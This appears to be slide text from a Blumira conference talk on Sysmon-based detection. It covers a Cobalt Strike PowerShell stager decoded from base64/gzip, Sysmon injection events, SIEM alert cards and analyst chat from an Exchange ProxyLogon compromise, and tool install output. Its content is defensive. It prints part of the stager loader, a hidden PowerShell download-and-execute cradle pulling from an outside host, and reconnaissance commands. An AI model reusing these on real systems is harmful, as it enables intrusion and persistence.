ABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgAnACsAJwBhAGkAbABIAGQAJwAsACcATgBvAG
4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAdABWAGEAbABVAGUA
KAAkAG4AVQBsAGwALAAkAHQAcgBVAEUAKQA7AFsAUwB5AHMAdABIAG0ALgBEAGkAYQB
nAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByA
G8AdgBpAGQAZQByAF0ALgAiAEcAZQB0AEYAaQBIAGAAbABkACIAKAAnAG0AXwBIACcAKw
AnAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuACcAKwAnAFAAdQBiAGwAaQBjACwAJwArAC
cASQBuAHMAdABhAG4AYwBIACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBIAGYAX
QAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQA
nACsAJwBtAC4ATQBhAG4AYQBnAGUAbQBIAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4

VS

Event Properties - Event 10, Sysmon

General | Details

Process accessed:
RuleName: technique_id=T1055.001,technique_name=Dynamic-link Library Injection
UtcTime: 2022-05-04 20:09:11.357
SourceProcessGUID: {0e5f1054-c7b2-6272-7001-00000000bc01}
SourceProcessId: 1776
SourceThreadId: 2636
SourceImage: C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe
TargetProcessGUID: {0e5f1054-c71c-6272-4c01-00000000bc01}
TargetProcessId: 8132
TargetImage: C:\Windows\system32\DllHost.exe
GrantedAccess: 0x1410
CallTrace: C:\Windows\SYSTEM32\ntdll.dll+9feb4|C:\Windows\System32\KERNELBASE.dll+212
\Windows\assembly\NativeImages_v4.0.30319_64\System\cad99742209a734560a1c0004d574b9
\System.ni.dll+381d10|C:\Windows\assembly\NativeImages_v4.0.30319_64\System
\cad99742209a734560a1c0004d574b9a\System.ni.dll+2fa12e|C:\Windows\assembly
\NativeImages_v4.0.30319_64\System\cad99742209a734560a1c0004d574b9a\System.ni.dll+2f95
\Windows\assembly\NativeImages_v4.0.30319_64\System\cad99742209a734560a1c0004d574b9
\System.ni.dll+2b7465|C:\Windows\assembly\NativeImages_v4.0.30319_64\System
\cad99742209a734560a1c0004d574b9a\System.ni.dll+2c37a4|UNKNOWN(00007FFCABDFB251)

# Use Case 3

JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdABy
AGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYA
NABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLADEAVwA3
ADMAUABhAE8AQgBQACsASABQADQASwBmAGMAaQBNADcAUwBsAFEARQBuAEoAcAA2AEUA
MQBuAHkAbQAvAE0AQwA0AFQARQBKAEsASABsAEcARQBiAEkATQBqAEUAUgBGAGsAaQB5

Output type

Text string | Image file | Hex | Binary

Character encoding

ASCII/UTF-8

Decode | Reset | Swap

Text string output

$s=New-Object
IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAAK1W73PaOBP+HP4Kf
ciM7SlQEnJp6E1nym/MC4TEJKHlGEbIMjERFkiywVz7v78rG3P0mrxvZ+4yw0SWdle7zz67K
4eqgqOET1SfuxQVHqmQPg/QZS533uC2Qp/QZyPnhQFRelsvZguqZmvByQy7rqBSoj9zZ0
Ms8AqZ5xEWsxV3Q0bzKPnQgtQNBbXOznJnyVYYSOzRWYCVH9HZiqpn7kq4yJxU1+sGX

## Gzip Decompress Online

New | Save & Share

Enter the Gzip Data

Sample

H4sIAAAAAAAAAK1W73PaOBP+HP4KfciM7SlQEnJp6E1nym/MC4TEJKHlGEbIMjERFkiywV
z7v78rG3P0mrxvZ+4yw0SWdle7zz67K4eqgqOET1SfuxQVHqmQPg/QZS533uC2Qp/QZyP
nhQFRelsvZguqZmvByQy7rqBSoj9zZ0Ms8AqZ5xEWsxV3Q0bzKPnQgtQNBbXOznJnyVYY
SOzRWYCVH9HZiqpn7kq4yJxU1+sGX2E/mH78WA+FoIFKv4ttqqpS0tWc+VSaFvqGnp6pol
Xb+ZlShf5E57Nim/E5ZgexuI7JMwRUDVx91uME6wiKzpr5yjT++MOwJoWLabG5CTGTpuHE

Size : **1.92** KB, 1964 Characters

Auto | GZip Decompress | File.. | Load URL

The Result gzip decode:

```
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
    Param ($var_module, $var_procedure)
```

# YAY Cobalt Strike!

```
Set-StrictMode -Version 2

$DoIt = @'
function func_get_proc_address {
	Param ($var_module, $var_procedure)
	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-
Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')
[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]]
@('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object
System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))),
$var_procedure))
}

function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
```

# Use Case 3 - Detection & Summary

Indicator: COMSPEC in Registry Persist/Lateral Movement

Lateral Movement

Threat | Priority 1

**DATE CREATED** Feb 17, 2022 1:45 PM EST

**STATUS** Resolved

**ASSIGNED RESPONDERS**

[redacted] ×

**ANALYSIS**

COMSPEC is an environmental variable in Microsoft windows that will be interpreted as cmd.exe. The use of this variable in the registry is a tactic that threat actors often employ for persistence and can be used in several ways to facilitate lateral movement via remote service execution that then calls to a PowerShell script in the registry. This is a high fidelity alert, and has a high chance of being an indication of lateral movement.

Windows Event in (12,13)

Command or parent command like *comspec*

# Exchange Compromise

https://proxylogon.com

# Exchange Compromise

**Nick** [redacted]

awesome, i'll have him check into those. They got 11 related findings to this, so nice job on the Sysmon rules

**Brian** [redacted]

Detect all the things!

oh yeah that certutil DL thats the exact pattern that was used to DL the DLL in my Threat Intel data

that box is seriously pwned

dllhost is probably injected Cobalt Strike

They should probably take it off the network now

@Nick thats a LOT of trouble could result in full domain ransomware

# Exchange Compromise

Indicator: Suspicious Process Parents dllhost.exe/taskhost.exe

Privilege Escalation

Suspect | Priority 2

**DATE CREATED** Oct 18, 2021 9:15 PM EDT

**STATUS** Open

**ASSIGNED RESPONDERS**

Select...

Blumira alerted on the process C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe activity by SYSTEM on [redacted]exch16.[redacted] which created the child process C:\Windows\System32\dllhost.exe. Windows processes start in a particular order

system often choose to spawn new processes masquerading as legitimate windows processes like svchost.exe, winlogon.exe, or lsass.exe.

# Exchange Compromise

Indicator: NET User recon commands

ID: F-2

Discovery/Reconnaissance

Suspect | Priority 3

**DATE CREATED** Oct 18, 2021 9:15 PM EDT

**STATUS** Open

ASSIGNED RESPONDERS

WORKFLOWS

1 Have you confirmed if the use of this tool was being performed by a legitimate system administrator performing daily tasks?

- No, this was not an approved use of this software.
- Yes, this was executed by an approved user.

Blumira detected the usage of net group /dom "domain admins" by SYSTEM on [redacted]. Microsoft's Net user command utility allows for queries about both local users and domain users. While useful for systems administrators it is often used by malware, and hands on threat actors as a unobtrusive way to begin discovery in an environment.

# Exchange Compromise

Indicator: T1135 C$ Admin Share Discovery

ID: F-21-42-E4

Discovery/Reconnaissance

Suspect | Priority 2

**DATE CREATED** Oct 18, 2021 9:15 PM EDT

**STATUS** Open

**ASSIGNED RESPONDERS**

Select...

**WORKFLOWS**

1 Review the process: C:\Windows\System32\cmd.exe with the command arguments: C:\Windows\system32\cmd.exe /C dir \\[redacted]\c$
Is this normal in your environment?

- No
- Yes

Blumira has detected abnormal mounting of a remote systems C$ share by SYSTEM.

The user has accessed the following:

C:\Windows\system32\cmd.exe /C dir \[redacted]1\c$

# Exchange Compromise

SUMMARY

Sysmon based Indicator detection rules.

MATCHED EVIDENCE

Time Matched Oct 12, 2021 1:48 PM EDT | Matches 1

1 result

| Timestamp | command |
| --- | --- |
| 2021-10-12T17:48:57.126000 | C:\Windows\system /C dir \\[redacted]\c |

```
powershell.exe -ep bypass -nop -w hidden -c "
[Net.ServicePointManager]::SecurityProtocol =
[Net.SecurityProtocolType]::Tls12 ; IEX ((new-object
net.webclient).downloadstring('https://golfcdn.com/locations/all/info.html'))"
```

# Exchange Compromise

Indicator: Potential Exchange ProxyLogon IIS Webshell Activity

Vulnerability Exploit Attempt

Threat | Priority 2

DATE CREATED Oct 18, 2021 9:15 PM EDT

STATUS Resolved

ASSIGNED RESPONDERS

[redacted]

This alerts when the IIS web service process (w3wp.exe) spawns a child cmd.exe or powershell.exe process. This behaviour is common for webshells deployed to IIS web servers. Review all recent .asp, .aspx, .jsp, and .php files in web accessible directories.

# Exchange Compromise Detection

Indicator: Potential Exchange ProxyLogon IIS Webshell Activity

Vulnerability Exploit Attempt

Threat | Priority 2

DATE CREATED Oct 18, 2021 9:15 PM EDT

STATUS Resolved

ASSIGNED RESPONDERS

[redacted]

ANALYSIS

This alerts when the IIS web service process (w3wp.exe) spawns a child cmd.exe or powershell.exe process. This behaviour is common for webshells deployed to IIS web servers. Review all recent .asp, .aspx, .jsp, and .php files in web accessible directories.

Windows Event = 1

Parent_process_name like *%w3wp.exe*

process_name in (*cmd.exe, powershell.exe)*

# Take Action: Time To Rip Off The Blindfold!

# Immediate Actions

- Scrutinize Logs

- Plan for Attacks

- Outline a Process of Improvement

- Align with Company Objectives

## Future Actions

# Install/Configure/Confirm Sysmon

Poshim vs Manual Install

```
Blumira: PoSHim - Endpoint Visibility Shim
PoSHim Setup 2021-11-02T10:15:46.8732123-04:00
Completed Sensor test, proceeding.
Running Install (or Update/Maintain) Mode
Sensor IP identified in initial run, setting up for IP 35.194.12.249.
Testing connection to 35.194.12.249 over port 514
Successfully connected to Sensor at 35.194.12.249!
Genenerating default configuration with validated Sensor IP at 35.194.12.249
Installing or updating Sysmon now
Gathering Sysmon from Config: @{conf_url=https://dl.blumira.com/agent/configurations/13.24_sysmonconfig.xml; downlo
versions=System.Object[]}
Sysmon on host, updating to latest configuration.
Found Sysmon64.exe in C:\Windows, install successful
Completed installing and/or updating Sysmon
NXLog not found, installing NXLog now.
Config: @{version=0.1; nxlog=; sysmon=} | IP: 35.194.12.249 | Additional Logs: Appv,OpenSSH | NXLog Custom Blocks:
35 Default Logs Identified on Host matching PoSHim Configuration
5 Custom Logs Identified from Additional Logs - Appv OpenSSH
Proceeding with 40 Event Viewer sources being queried by NXLog.
Configuration OK, restarting NXLog now
Installation of NXLog has completed.
Completed Blumira PoSHim run at 2021-11-02T10:15:53.0112989-04:00
```

# Future Actions

## Choose a Configuration

SwiftOnSecurity/**sysmon-config**

Sysmon configuration file template with default high-quality event tracing

18 Contributors | 40 Issues | 3k Stars | 1k Forks

**the only winning move is not to play**

## Future Actions

# Test Your SIEM

Easy tests:

- Password spraying
- PowerShell Dropper attacks
- More: https://www.blumira.com/webinar/is-this-thing-on/

# Future Actions

Map To a Framework & Create Detections

vectr + + MITRE ATT&CK™

=

RSA Conference 2022

# Summary

Blumira